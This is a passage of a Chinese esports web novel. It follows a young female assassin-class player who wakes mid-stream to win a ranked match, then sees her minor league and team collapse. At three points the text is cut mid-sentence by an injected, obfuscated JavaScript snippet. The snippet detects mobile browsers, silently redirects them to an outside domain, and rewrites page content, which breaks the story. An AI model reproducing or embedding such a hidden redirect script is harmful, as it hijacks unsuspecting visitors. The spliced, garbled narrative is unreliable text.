《全自动竞圈闯祸机[电竞]》 1. AAA双刀批发小方 “恭喜……战队获得全球总冠军!” “现在,你们可以奔向舞台中央,共同举起属于你们的冠军奖杯了!” 摘下耳机的那一刻,所有的欢呼与呐喊都如潮水决堤般瞬间涌来,主持人激动的嘶吼几乎破音。 少女站起身,还没有来得及从方才的疲惫的酣战中回神,便被一旁的队友抓住了手臂,强硬的拉着她跑向了舞台中央。 金色的雨密密麻麻落在肩头发梢,刺眼的炫光在那些彩带上不断反射,观众席上的灯牌如群星闪烁,周遭的一切都美得不真实。 女孩伸出手,触碰到台上的奖杯,根本不需要多大的力气,举起它似乎顺理成章。 她抬起头,看着那象征着历史的奖杯,而这历史之中,也即将有自己的一席之地。 欢呼声逐渐被狂躁地心跳声淹没,少女终于也忍不住笑了起来,就好像直到此刻,那些后知后觉地快乐才终于有了实感。 太好了,真的太好了! “本次比赛fmvp给我到的是我们的暗杀者【TING】!” “恭喜TING选手,是否能和我们分享一下你的此刻的喜悦呢?” 许是麦克风出了些小问题,主持人的声音不知为何有些飘渺,又或者是巨大的喜悦冲昏了少女的大脑,令她有些飘飘欲仙。 “谢谢……感谢……感谢大家……” 一时间也想不出什么场面话,少女只能语无伦次地不断地重复着感谢,压不住地嘴角拼命地上扬。 “TING……TING……你……” 身旁的队友似乎是推了推她,少女有些不耐烦的欠了欠身,不想这样快乐地时刻被人打扰。 可那人却不知为何,毫无眼力见地样子,一直不断的推搡着自己,甚至越发用力,终于,在一次尤其用力地重推之下,少女脚下踉跄,一个没拿稳,捧在手中地奖杯脱手而出,掉到地上。 “砰!” “方既亭!” - 方既亭猛地睁开眼,心脏依旧“砰砰”直跳。 方才的一切景象与欢呼都忽然消失,短暂的怔愣过后,她发现自己正身处战队的训练室中,周遭灯光昏暗,衬得面前桌子上的电脑屏幕尤其刺眼。 “什,什么……哈……情……欠……况……”她一面打哈欠,一面转头问莫名出现在身边,浑身是汗的苏晴。 “什么什么情况?”苏晴看着她一脸懵的样子几乎要被气笑了,“你直播排队睡着了,游戏开始了还没醒,粉丝急得要命,都找到我直播间来了!” “你可算是出名啦,我的小冠军!” 方既亭像个傻子一样眨了眨眼,她还没有完全清醒,此刻苏晴的声音就像是和尚念经一般叽里咕噜地排着队从她的左耳朵进,右耳朵出。 也不知是哪个字挑中了她的哪条搭错的神经,方既亭忽然脱口而出一个“敲!”字,整个人像是屁股被刺了一下一般从椅子上弹了起来,半个身子都趴到了电脑前。 果不其然,灰色的游戏画面,昭示着自己已经死亡的事实。 而尽管已经有所准备,左下角已经上万的在线观看人数与刷的飞快的弹幕又将她扎扎实实地吓了一跳。 [哈哈哈哈哈哈哈哈] [哈哈哈哈哈哈哈哈哈哈] [哈哈……哎呀主播醒了] [救命,真给她拖醒了……] [主播睡眠质量好高啊,看得我都想睡了。] [主播醒的很及时,举报抬走下一位!] “完了呀……” 有人看热闹,有人被当成热闹。 方既亭趴在电脑前,挠了挠头,又揉了揉眼睛,摸了摸鼻子又拍了拍脸,最后手背贴着脖子蹭到脑后,捏着自己的后脖颈开始摇头晃脑地假装沉思。 “确实,呵呵。”苏晴看着她莫名忙碌的样子毫无感情的开口,一面贴心的帮她把椅子推好,一面低头看手机上的评论,“Girl Game冠军Fmvp选手排位挂机坑害路人玩家,你没救了,下辈子注意点吧。” 然而身边窸窸窣窣地声音却忽然全部消失,她心下奇怪,抬头看去,却只见方既亭不知什么时候已经又将自己的屁股放回了椅子上。 她坐正了身子,戴好了耳机,全神贯注的盯着屏幕上随着队友的动作不断变换的画面,沉着的眉眼间透出一股子冷静与认真,与方才那般无厘头的模样判若两人。 苏晴皱眉看了眼屏幕。 此时游戏已经将近十七分钟,包括方既亭本人在内,队伍五人已经有四人阵亡,只剩下一名医师尚且存活,而对面的头像栏却还只灰了一个,旗帜还剩下三面没有被拔掉。 《DOME》游戏的排位赛,一局的时间一般在十二到二十五分钟之间,通常来说,这个时间点游戏已经接近尾声,但方既亭的排位分段较高,打到二十分钟以上也是常有的事。 可也正因分段高,对玩家配合与操作的要求也高,一人失误,很可能就是满盘皆输,更不要说队中有个人从开场就挂了十六分钟的机。 “你觉得这还能赢?”苏晴觉得有些不可思议。 [主播口水能不能擦一擦,看着好难受啊!] “呃…………”方既亭一面抽了张纸随意擦拭自己的嘴角,一面快速打开各种面板数据各瞄一眼,漆黑的瞳孔转来转去,也不知是想到了什么,她开口道,“我觉得我这辈子还能抢救一下。” 言罢,方既亭不再管其他,放下已经被揉不成样子的纸巾,将麦克风调到合适的位置,深吸了一口气,摁下了开麦键。 “喂?可以听见我说话吗,医师?” 方既亭开口,苏晴明白多说无益,此时自己再呆在这里也只能是打扰。 她抿嘴看了她一会儿,有些无奈又带了些怜爱地叹了口气,没再多说什么,只是转身离开,又尽量小心地带上了门。 “咔哒”一声轻响,还算宽敞的训练室中恢复了凌晨两点应有的寂静。 手边的陶瓷杯中还剩下小半已经凉透的咖啡,灯只开了一盏,昏暗的光线落在白色地浮沫上越发冷清。夜风清凉,从半开地窗子挤进来,原本就已经被折腾地摇摇欲坠地队服终于支撑不住,悄无声息地滑落在地,露出背后三个加粗的黑体字母。 HGF——目前是国内知名度最高的《DOME》女子战队,方既亭以暗杀者的身份加入战队半年,带领队伍在一个月前的Girl game女赛总决赛中几乎是以断层的实力碾压对手,夺得了冠军。 而她本人表现突出,fmvp实至名归。 Girl game只是一个非官方承办的次级联赛,HGF也并不是联盟注册的职业战队,这个冠军与fmvp的含金量有限,却也算得上是她人生中的第一份小小成就。 次级战队的休赛期相对较长,恰逢版本更新,方既亭便想趁这阵子,努力冲一冲暗杀者的国榜。第一周的榜单定级就在明天,为此她已经熬了两个大夜,而后,终于在今日,算不上长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078974|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排队时间里,睡了过去。 醒过来的时候,游戏已经进行了近十六分钟。 等她分析完局势,已经是第十八分钟。 而她这一开口,游戏中的风都仿佛停了一瞬。屏幕中的医师给自己打绷带的动作一顿,左下角的聊天框接连蹦出几条文字。 【万般皆是你】:? 【snbuhd】:? 【风月通天】:好家伙,这姐们醒了! 【snbuhd】:nb 【风月通天】:omg!朋友们!她醒了!!!!她!醒过来了!!! “不好意思不好意思,我不是故意睡着的。”方既亭自觉理亏连忙道歉,“但咱们还有机会,相信我,医师,你可以用换生换我起来吗?” 换生——以己之命,换彼之生。 医师的职业特技,牺牲自己换一名选定的队友在自己所处的位置重生,可以选择瞬间释放或是读条三秒后释放。 若是读条三秒则重生后的队友会继承医师当前血量的百分之八十,若瞬间释放则重生后队友继承当前血量的百分之四十,但会有持续三秒的无敌buff加成。 因为本体已经死亡,方既亭的视角跟随队友医师,那是一个很可爱的萝莉形象,双马尾,蓬蓬裙,头顶上还戴了一对毛茸茸的兔耳朵装饰。 尽管游戏中体型的差距并不会对属性有什么影响,但还是会有许多人觉得矮子体型手感更加轻盈。因此一般暗杀者之类比较灵活的职业用的更多,医师这样更偏稳地职业倒是比较少见。 见她并不理睬自己,方既亭只觉得有些尴尬,但不论如何都是自己造的孽,于是她硬着头皮继续开口:“我……我真不是故意挂机的,你别生气,这图到后期医师不好打,而且我们还剩三面旗,你没有视野也不好出去啊。” 与游戏的另外十九张地图不同,青崖关这张图并非是简单的通过击杀敌人获得胜利。 主图是一道建在两山中断处的古老关隘,大致可以划分成关内,城楼和关外三大区域。 玩家进入游戏后会被随机分配到攻、守两个阵营,攻方刷新在关外,获胜条件为拔除全部五面随机散布在城楼和关内的旗帜;而守方则会刷新在关内,在旗帜被全部拔掉之前击杀所有攻方玩家即为获胜。 两分钟前,小萝莉试图拔掉位于西箭塔下的令旗,被敌方狙击手和游僧合力击退后,躲到了此处,正用绷带一点点慢慢地给自己回血。 【风月通天】:别费劲了,之前我们说过让她换人了,她根本不理的。 【snbuhd】:医师还是换一下吧,现在的情况暗杀者确实好打一些。 尽管挂机可耻,但方既亭所言却并没有说错。 医师的职业特性是治疗与保护,尽管同样可以使用地图上散落的通用武器,但敏捷闪避与力量伤害都与其他职业差了不是一星半点,队伍中的这名医师玩家并不弱,但要指望她一个人拔掉剩下三面旗帜,还是有些强人所难。 思忖间医师已经给自己回完了血,方既亭摸不准她的想法,又怕她可能是没有戴耳机,便又开始打字。 【AAA双刀批发小方】:医师开一下声音吧,能不能换我起来? 【AAA双刀批发小方】:这把还有救,大家都是冲分的,我也不想输。 “医师,医师在吗医……” “瞬换,你能接吗?” 一道声音骤然从耳机中传出,截断了方既亭聊天框里还没有打完的字。 2. 暗杀者大王 与游戏中可爱地萝莉的形象截然相反,那声音清冷,简明扼要,像是一根纤细而尖锐地针,迅速又精准地刺进方既亭被愧疚淹没而有些混乱地脑子,仿佛拨云见月。 【风月通天】:好家伙,好好听地声音,我瞬间醒了。 方既亭心头一跳,立刻回了一句:“能。” “好。”医师亦是秒回,“城墙塌了一半,关内靠东的一座箭塔被陡坡上的石块淹了,剩下三面旗子的位置是……” 她一面向着自己过来的方向飞奔,一面有条不紊且快速的共享信息。 “西北角石拱桥下,西箭塔下方,以及关楼阁楼,血量分别为三十,三十五,八十。” “敌方狙击手占据了西箭塔,游僧守在箭塔之下,阁楼中的旗帜一旦被拔除,关楼在短时间内会彻底坍塌,所以……” “放心,明白。” 方既亭开口将医师打断,她几乎是在对方摸出匕首和钩锁的瞬间就看懂了她的计划。 青崖关这张图有一个特殊的机制,每当一面令旗被拔除,它所“庇护”的空间范围就会坍塌。一般情况下,若有令旗刷新在关楼中,则需要先让队伍中拥有大范围群攻伤害的职业把楼顶掀了,以免楼塌了之后把人也给埋在里头。 但医师和暗杀者都没有掀楼顶的能力,因此唯一的办法只能是将楼中的旗放到最后再拔。 至于她奔跑的方向…… 困意彻底消散之后,随之而来的是对即将到来的博弈地无与伦比的期待与兴奋。 搭在鼠标和键盘上的双手手不自觉地微微抬起,用力搓了搓,放回去的时候,屏幕中的医师已经跑到了西箭塔下不远的残墙后。 这是最后的掩体。 小萝莉二话不说,再次翻了出去。 视野瞬间暴露,游僧提棍冲过来,狙击手开镜瞄准的红点,也几乎同时出现在了她的脑门上。 游僧力气大,伤害高,攻击速度却并不算太快,然而在他挥棍的瞬间,西箭塔上的狙击手也同时扣下了扳机。 两相夹击,避无可避。 医师果断向右翻滚,躲开当头而下的棍子,左肩硬吃下狙击手的一发子弹。趁着对方下次进攻前极短的间隙快速爬起来,向箭塔顶抛出钩锁。 那游僧还没来得及反应,却只见她后脚在那城墙上用力一蹬,与此同时钩锁收缩,整个人如一只狡兔般被带到空中,直飞向那狙击手冰冷地,黑洞洞地枪口。 瞄准的红点再次落在医师地眉心,玩家在腾空时时无法主动做出任何闪避地动作。 这么近地距离,此枪必中。 然而—— “那么……” 医师抢先用了大药,血量瞬间恢复到百分之九十以上,几乎是在同一个时刻,金白色地柔光环绕上小萝莉地周身,那清冷地声音也随之变得空灵。 “交给你了,AAA双刀批发小方。” “可别输了。” 冷声落地,柔光散去,狙击手扣动扳机,银色的子弹穿过空中的少女半透明的身体—— 终究还是攻者更快一步,守者棋差一招。 这一枪,只闻响,却无伤。 “放心……” 方既亭稳稳落到那塔楼上,黑衣暗杀者在空中隐身,闪至那狙击手的身后,手起刀落不过眨眼之间。 狙击手最忌被人近身,而暗杀者最擅长的就是贴身近战。 若是在从前,这一刀下去狙击手焉有命在?可暗杀者的伤害在这几个版本被一削再削,堂堂c位输出职业一度沦为职业赛场的辅助常客,这一刀只砍掉了半血。 [救命……这也太刮了吧!] [隐身背刺第一刀打狙击手打百分之五十五,这还怎么玩。] 隐身背刺第一刀是暗杀者伤害最高的爆发技能,打在脆皮身上都只能打掉百分之五十五的血,其无力程度可想而知。 然而即便如此,三秒的无敌帧,也足够方既亭“优哉游哉”地完成这次击杀,顺便还能瞄上一眼那医师的id。 “放心,69岁拄杖庸医。”她站在平台上,居高临下,望向下方才反应过来发生了什么的游僧。 “我办事,你放心。” 她说着,关掉了游戏的内置语音。 “姐妹们,素材局,记得录!” 漆黑的身影自箭塔上跃下,如鬼魅勾魂,眨眼就到了那游僧的面前——就算曾经引以为傲的高伤不再,在速度和敏捷这一方面,暗杀者依旧是不可被超越的存在。 但那游僧既然有冲击国榜的能力,对这种情况自然也是见怪不怪。 早在方既亭飞身而下的那一刻他就已经做好了后撤的准备,躲掉第一刀轻而易举。但这个距离,想要靠同样的方式来化解紧接着的第二刀,几乎没有可能。 游僧没有过多的犹豫,高举起手中的长棍。 连斩。 暗杀者的职业特技,快速且连续的多次挥动双刀,令对方陷入连续僵直。 每一刀的伤害并不高,但致命的是,一旦被对方打出连斩,玩家必须要依靠外力或是暗杀者自己中断才能挣脱。 敌方暗杀者血量只有百分之三十,孤军奋战的情况下一定会优先保命,连斩是最好且唯一的选择。 后撤之后的僵直令游僧无法立刻做出格挡的动作,但第二刀,哪怕是硬吃,也绝对不能让对方打出连斩! 游僧这么想着,顾不得自己身前空门大开,挥棍而下。 可暗杀者的刀,却没有如期而至。 矫健的黑影矮身向右做了一个翻滚,轻轻松松躲过了这一击,下一秒便闪身到了自己的身后。 [我敲] [好家伙,假动作。] [66666666] 却只见那游僧对此竟也早有准备,第一棍并未蓄满全力,见暗杀者并未作出挥刀的动作,也快速收势,转而全力向后横扫。 [我敲!] [这什么反应速度!] [好强的预判……] 然而,暗杀者的第二招—— 是一块红砖。 弹幕甚至有瞬间的停滞,而后爆发出一阵哄笑和惊叹。 [不是,这砖哪里来的啊?!] [666666] [她从身后那个地上捡起来的吧。] [哈哈哈哈我不行了,大晚上给我笑清醒了。] DOME游戏中,同队成员拾取资源会放进队伍的公共背包,但某些特殊“武器”只能随身携带,带的越多,移动速度越慢。因此很多东西都是随取随用,例如方既刚刚从地上捡起来又丢出去骗了游僧一个全力横扫的红砖。 “这么想接我连斩?”方既亭的嘴角浮起一丝胜券在握的笑,搭在键盘上的手指跳得飞快,“早说不就好了!” “哐”地一记闷响,游僧心中一惊,可全力挥出的棍子却已经来不及收回。这一次,他只能眼睁睁看着那黑影踏着碎落一地的红色砖屑再次闪到自己的面前,挥刀砍向他此刻毫无防备的后背。 [我敲!!!!] [接上了] [666666666] [那这游僧不炸了吗?] 然而—— [救命!这是在干什么!这是在干什么!!] [别刮了别刮了,我都困了。] [你们不要再打了啦!] [暗师傅你是做什么工作的?] [全部]【我佛慈悲】:朋友,刮痧手法不错,就是还需要用点力。 [666对面心态真好。] [学到了,以后快死了反抗不了就打字嘲讽对面哈哈哈] [太惨了,暗师傅。] 方既亭面上不动声色,皮下咬牙切齿,心道这臭和尚恐怕是把自己的十二点自定义属性加成全部点在防御上了,致使自己这连斩每一刀砍上去就好像是在给他挠痒痒一样,一时间经不知道是谁才是被夹在火上烤的那一个。 在没有外界干扰的情况下,暗杀者的连斩数量完全取决与操作者的能力,方既亭足足打满了自己的极限十二下,耳机里传出击杀通告的时候,整个人甚至都有一种刑满释放的畅快与释然。 她调整好心态,抬起有些酸的手腕转了转,毁掉西箭塔下的旗帜后,再次进入了隐身。 相比起游僧,对方剩下的唯一一名元素天赋者很明显更好欺负一些。方既亭快速将他击杀,剩下百分之五的血量,赶在三十分钟全图大掉血之前,毁掉了关楼内的最后一面令旗。 金色的“胜利”出现在屏幕上,方既亭总算是松了口气,向后靠在了椅背上。 结算界面弹出,尽管前期挂机,但所幸最后输出和拔旗都还算可观,队友也没有举报,八分的排位分加上,明天……哦不对,应该是今天早上七点的定榜,还是可以浅浅期待一下。 一把游戏结束,直播间看热闹的吃瓜群众也都开始快速离开,方既亭一面看结算面板一面和留下来在粉丝有一搭没一搭的唠嗑,忽然一条弹幕飘进了她的眼睛。 [这游僧的ID是不是天明啊?] DOME职业选手的ID并不会显示在日常游戏中,方既亭点开游僧的主页,头像的旁边,果然挂了一个显眼职业标签【MOOD.天明】。 MOOD是去年春季赛的冠军战队,尽管今年战队成绩相比去年稍有下降,却也是华国赛区老牌豪门。战队最出名的教练Autumn执教多年,江湖人称“联盟第一战术师”,这是哪怕是放到全世界都是响当当拿得出手的名号。 而天明,正是他去年从青训选上来的选手。 这个职业标的含金量可想而知,方既亭颇有些羡慕的抿了抿嘴。 [还真是,我就说这手法不简单。] [主包你睡着的时候他做掉了你俩队友呢。] “是吗?”方既亭又切回面板,“百分之三十输出,百分之四十承伤……好家伙……” 不看不知道,一看方既亭声音都忍不住拔高。 “他一个人仨人头,这就职业战队首发选手的实力吗!” [咱们亭宝也很有实力呀,亭宝也有三个人头呢!] [而且亭宝单杀了职业选手!] [夸夸亭宝。]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078975|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嘿嘿。”方既亭也不谦虚,“那是当然啦,主包是暗杀者大王呀!” [主包又开始吹牛了。] [暗杀者大王天下无敌!] [无敌——指刮痧技术得到认可,十分无敌。] [哈哈哈哈哈哈哈笑死我了。] 方既亭乐呵呵的看着直播间的大家开着玩笑,也不觉得气恼。 她的粉丝不多,于她而言,这些愿意陪着她到深夜的ID背后,与其说是粉丝,倒不如说,更像是朋友。 [话说,只有我一个人觉得那个医师也很厉害吗?亭宝睡醒之前她一个人拖了很久。] [确实,我也这么觉得。] [我没注意欸,光顾着看亭宝睡觉了哈哈哈哈。] [但是反正医师也不可能一挑三吧。] …… 弹幕叽叽喳喳的聊着,方既亭想了想,又点开了那医师的主页。 【69岁柱杖庸医】【回归】 回归玩家? 方既亭愣了愣。 DOME游戏中,连续三十天以上没有登陆游戏,再上线的时候头像边就会标上一个【回归】的标识,持续一周。 现在是版本更新第三天,除了pvp模拟战的新地图外,还会有新剧情以及新的pve副本,回归玩家很多,回归后直奔模拟战排位的也不少,但是回归三天就能冲到国服的就不多见了。 就连方既亭自诩高手,也熬了三个大夜,更不要说回归玩家继承的基础分本就更低。 …… 哦对,她还是个医师,单排上分更是难上加难。 [主包?主包怎么呆住了?] [主包睁着眼睛睡着了嘛?] [亭宝,醒醒亭宝!] “唔……”方既亭眨了眨眼,回过神来坐正了身子, “很晚了,准备下播了,大家早点休息呀。” 弹幕刷过零星的几个晚安,方既亭一一念了名字道过晚安之后,才关闭了直播。 摘了耳机,那些虚幻的热闹与刺激都在瞬间消失不见,取而代之的是深沉而无边际的寂静。 屋外月明星稀,屋内万物沉默。 方既亭靠在椅背上发了一会儿呆,打开手机,医院的缴费通知静静躺在wx消息的置顶。 她点开通知,大致浏览了一下条目与价格,缴费,退出,放下手机。 一套动作如行云流水,似乎已经重复过许多遍。 关电脑前,她又看了眼自己的邮箱。 果不其然,一周前给《DOME新星大赛》投去的简历,尚未收到回复。 说是比赛,其实是DOME职业联盟组织的官方青训营。 玩家通过资格预审进入冲榜赛,各职业排名前十六的选手进入线下训练营,组成十六支队伍,由联盟统一安排青训教练进行为期一个月的集中训练与比赛。 各大俱乐部或是战队通过这一个月的考察,在赛后邀请选手到自己的战队试训,最后在年底的转会期确定各大战队的新人名单。 新星大赛是DOME普通玩家成为职业选手的必经之路,其集训内容除了游戏技术和职业理论外,还包括职业道德教育与考核,因此在业内也被戏称做DOME职业选手的“幼儿班”。 参加的途径有两种,一是节目组邀请,第二种,就是方既亭现在采取的,向节目组自荐。 一周前第三种通道才刚开放,方既亭就把早就编辑好的简历投了过去,官方发布的通告上说审核时间在两周到一个月不等,按理说现在也还早,只是她心中总有紧张会被拒绝,时不时就要打开看一下才能安心。 窗外漆黑的夜色里映出训练室内略有些拥挤的陈设,八台电脑背靠背摆放,座椅靠背与墙的间距只够一人通行。 方既亭叹了口气,关了电脑,站起身,捡起掉在地上的队服拍了拍披在身上,拿起键盘旁边的将椅子推回去的时候,目光自然而然的落在了显示器上那个巴掌大的暗杀者毛绒玩偶上。 那是她十三岁那年DOME官方给当时的明星选手出的玩偶周边,当时恰逢XK战队队长颜十七退役,方既亭是她的头号粉丝,又想着退役了之后恐怕就不会再有周边出了,一咬牙,攒了半个月的零花钱才将它买了下来,然后就一直陪着她到现在。 DOME历史上唯二拿下过全球总决赛冠军的女选手,五个冠军,昭示了她辉煌的职业生涯,也将那个属于她的时代永远刻入了DOME职业电竞的史册。 披着黑色风衣的暗杀者头大身子小,短短地小手抓着双刀交叉在胸前,双刀和身子地间隙恰好能卡在显示器地上边沿,一双豆豆眼,坐着地时候,一抬头就能与之对视。 方既亭盯着看了一会儿,双手将那娃娃捧了起来。 “颜神啊颜神,你一定要保佑我啊!” “保佑我尽快……啊,最好明天,我就能收到我的冠军奖金。” “再保佑我……嗯……保佑我这次能报上那个选秀!不管是邀请还是通过申请都行,能让我进就行!” “求求你啦,颜神!” 她许愿道。 3. 唉 #爆!Girl Game 女子联赛一夜蒸发,次级联赛是否还有未来?# #惊!巅峰赛事秒变资本弃子,Girl Game猝死背后的三重疑云。# #Gilr Game突然宣布停办,数支女子职业战队将何去何从?# - 方既亭垂头丧气的从经理办公室出来,苏晴正翘着二郎腿坐在窗边,恰好抽完了一根烟。 四目相对,苏晴一眼便看出来这丫头一定是被骂了,而方既亭像是再也忍不住,站在原地,一下子就哭了出来。 短短七天,身边的一切却好像天翻地覆。联赛主办方跑路,冠军奖金泡汤,战队面临解散,她还没来得及喘口气,就被经理喊到了办公室。 “联赛不办了,咱们原本的赞助商觉得女队参加其他比赛也没前途,所以……领导那边开会讨论下来的意思是咱们这个战队也就解散了。” “你的合同还有两个月到期,正好fx电视台准备要搞一个女团选秀的综艺,之前给你发了邀请,我想着这也是个好机会。” “不管怎么说你这也算是个冠军,现在又出了这个事,恰好可以炒作一下,搏一搏同情,说不定就真的是另一条出路呢?而且你刚好也缺钱不是,做女团当明星来钱不比你现在快吗?” “哎呀,我这也是为你好呀。电竞这条路哪有这么好走,打出头的凤毛麟角,你这么年轻,长得也还不错,何必在这个歪脖子树上吊死对吧?” “你确实打得不错,但是你敢说,你比那些替补席上的选手们更有天赋吗?” “方既亭,你别太过分了!不过是拿了个次级联赛冠军,还真把自己当盘菜了?怎么的,你还想着打正赛,哪支战队能看得上你啊?” “要么赔违约金,要么乖乖上综艺,跟你好声好气的讲道理,你真当公司怕你?” “滚!” 方既亭毕竟还只是一个十六岁的小姑娘,这所有的事情一下子都向她砸过来,重压之下,整个人都被敲得晕头转向,不知所措。 苏晴平日里一直把方既亭当妹妹照顾着,眼见她二话不说忽然就开始啪嗒啪嗒地掉眼泪,心疼地不行,把烟一丢快步走过去将她抱进了怀里。 “不哭不哭……哎呀……不哭了……”她一面轻拍着方既亭地背,一面哄道。 她的年纪稍长,和方既亭从小就认识,也知道她家里的事,当初也是她带小姑娘入的行。 方既亭确实需要钱不假,可年轻又单纯的灵魂却也是抱着十足的热爱与干劲投身于此。此次变故其实早就有迹可循,只是方既亭看不出来,而苏晴看着她好不容易再次打起精神,干劲满满地样子,也实在不忍心给她泼冷水。 本想着好不容易也算是拿了个冠军,糟心事能拖一天是一天,让小姑娘开心开心,却没想到这颗雷爆的这么快,杀伤力这么大,一下子所有人都给炸懵了圈。 “我……我……他怎么那么说我啊……”方既亭低着头,双手紧紧抓着苏晴地衣服,断断续续地抽泣着,“我真的打的很差吗……可是之前也有很优秀的女选手,为什么我……我就不行?我……我都没试过为什么说我不行?战队解散就解散了,为什么非要让我去上那个综艺啊……” 为了挣钱。 苏晴不用问都能猜到经理大概讲了些什么,她明白这对于方既亭而言不仅仅是解散一个战队这么简单,但…… “唉。”她轻叹了口气,一时也不知道该怎么回答。 自从《DOME选秀大赛》开办,三年来DOME女性职业选手的数量越来越多,随之而来的,大众对女赛的关注度也越来越低,而DOME官方则是在三年前就停办了专门的女子联赛,这已经足够说明官方实力至上的竞技态度。 苏晴想Girl game停办也是迟早地事,只是对于方既亭来说,确实是太突然了些。 可这也未必是一件坏事,不论在哪个赛区,DOME职业联赛都不缺优秀的女性选手,方既亭还太年轻,只要有能力,摆脱现有的枷锁,或许会有更多的可能。 于是苏晴也只能沉默地站着,等她自己平静下来。 方既亭并没有哭太久,她很快就松开了苏晴,抬手用袖子胡乱将眼泪擦干,望向苏晴地时候,眼眶还红红地,肿的不成样子。 “苏晴姐。”大约是因为方才哭地狠了,现下说起话来,还一抽一抽的有些滑稽,“你也会去参加那个女团选秀吗?” “嗯。”苏晴一面点头,一面揽着她的肩膀远离了“经理办公室门口”这个是非之地,“你看我像是能赔得起违约金的样子吗?我可是穷鬼来的。” 她说着,做了个鬼脸。 方既亭抿了抿嘴,又问她:“那你觉得,经理说的有道理吗?我该听他的话给自己找别的出路吗?” “欸?” 苏晴愣了愣,她没想到小丫头方才还那么义愤填膺哭的稀里哗啦,现下竟然这么快就接受了现实。 但她目光认真,不像是赌气,更不是在开玩笑。 于是苏晴也不得不认真起来。 “嗯……怎么说呢,对我来说确实是有些道理,你知道的,我这个人最大的优点就是有自知之明,本人打游戏的水准虽说还算不错,但也绝对够不上正赛。” “但说实话,我觉得你不一样。” 她顿了顿。 “或许你自己没有察觉,但我心里清楚的很,这次如果不是你,我们队估摸着连决赛都进不去。所以呢……我还是觉得你可以自己做决定,毕竟除了你自己以外,任何人都没资格为你的未来负责。顺便……” 苏晴眨了眨眼。 “咱们那个经理说话有时候就是像放屁,也不止一次两次了,你呢,闻到那个味儿如果觉得不对,其实也没必要非要多吸两口品鉴品鉴。” “噗……”方既亭忍不住破涕为笑。 “还能笑得出来,看来是没事了。”苏晴抬起手拍了拍方既亭的脑袋,“行了,我的小冠军,以后的事以后再说,不如先填饱肚子怎么样?” “苏晴姐请客吗?”方既亭立刻接道。 “嘿,死丫头,说话过脑子了吗嘴这么快?”苏晴愣了愣。 “过了过了!”方既亭知道苏晴这种语气就是答应了,连忙抱起苏晴的手臂,一面冲她撒娇一面拉着她往外走,“咱们就去吃麻辣烫吧!你看我连想吃什么都想好了肯定过脑子了呀。” 苏晴作势被方既亭拽着,一时竟想不出什么别的话来她,只能哭笑不得的跟在方既亭身后,一同离开了俱乐部。 七月,正是夏日炎炎。 万物燥热,蝉鸣阵阵。 方既亭结束了前往节目组前地最后一次直播,再打开邮箱,依旧没有收到那封她始终期待着的回信。 唉。 收拾东西的时候,她犹豫良久,半只脚都已经踏进了车里,却还是有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078976|195300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不甘心的跑上了楼,带上了那个十七的暗杀者玩偶。 由于主要是炒作流量,唱跳环节并不需要太过苛刻。节目组指派过来教唱跳的老师给她和苏晴选了一首非常简单的歌曲,然而对于方既亭来说,练习起来依旧不容易。 休息的时候坐在角落,低头打开手机,Girl Game猝死的热度一下子就降了个干干净净,只剩下一条孤零零的官方通告,挂在官方账号的置顶。 【官方公告】关于Girl Game女子职业联赛(GGL)停办的声明。 方既亭压下鼻头的酸意,点开帖子,直接划到了评论区。 [啊……好可惜啊,女孩子们都很努力啊。] [这什么野鸡比赛,没听说过啊,停办倒是轰轰烈烈。] [楼上的,买看过比赛就闭嘴好吗,选手们为了这个比赛也是付出了很多努力,不像你就会在网上打嘴炮。] [得了吧,这比赛我看过,有手就能上,打得菜还不让说了?] [就是,真有实力去打DPL不就好了,打什么女赛?] …… 唉。 为了博人眼球,节目组特地选择采用直播的方式来进行初选。然而一周的练习时间根本不足够方既亭和自己新装上的手脚达成停战协议,一直到初选当天,她依旧浑浑噩噩,恍恍惚惚。 车行景异。 昨夜雨疏风骤,今日风卷残云,盛夏时节,竟也生出一种萧条与败落。 不出所料,五颜六色的灯光下,评委席陌生的目光中,本就僵硬的动作变得更为滑稽,一套“广播体操”下来,评委与坐在观众席的其他选手都已经笑得前仰后合,方既亭几乎可以想象得出,现在的弹幕会是什么样得一片光景。 唉。 大约是因为大家都知道她并非是科班出身,年纪又小。评委们也并未提出十分苛刻的意见,大多数都是开着玩笑夸她可爱,单纯。 方既亭时不时根据提词器上给出的指示说上几句,假笑令她双颊地肌肉开始有些酸痛,短短几分钟地时间对她而言却无比漫长。 “大家都知道TING选手在咱们DOME女子职业联赛成绩是非常的突出,那是什么样的契机让你来参加这个节目呢?” 主持人地声音开始变得有些朦胧,方既亭左眼皮跳了跳,长时间暴露在耀目地灯光下令她有些眩晕。 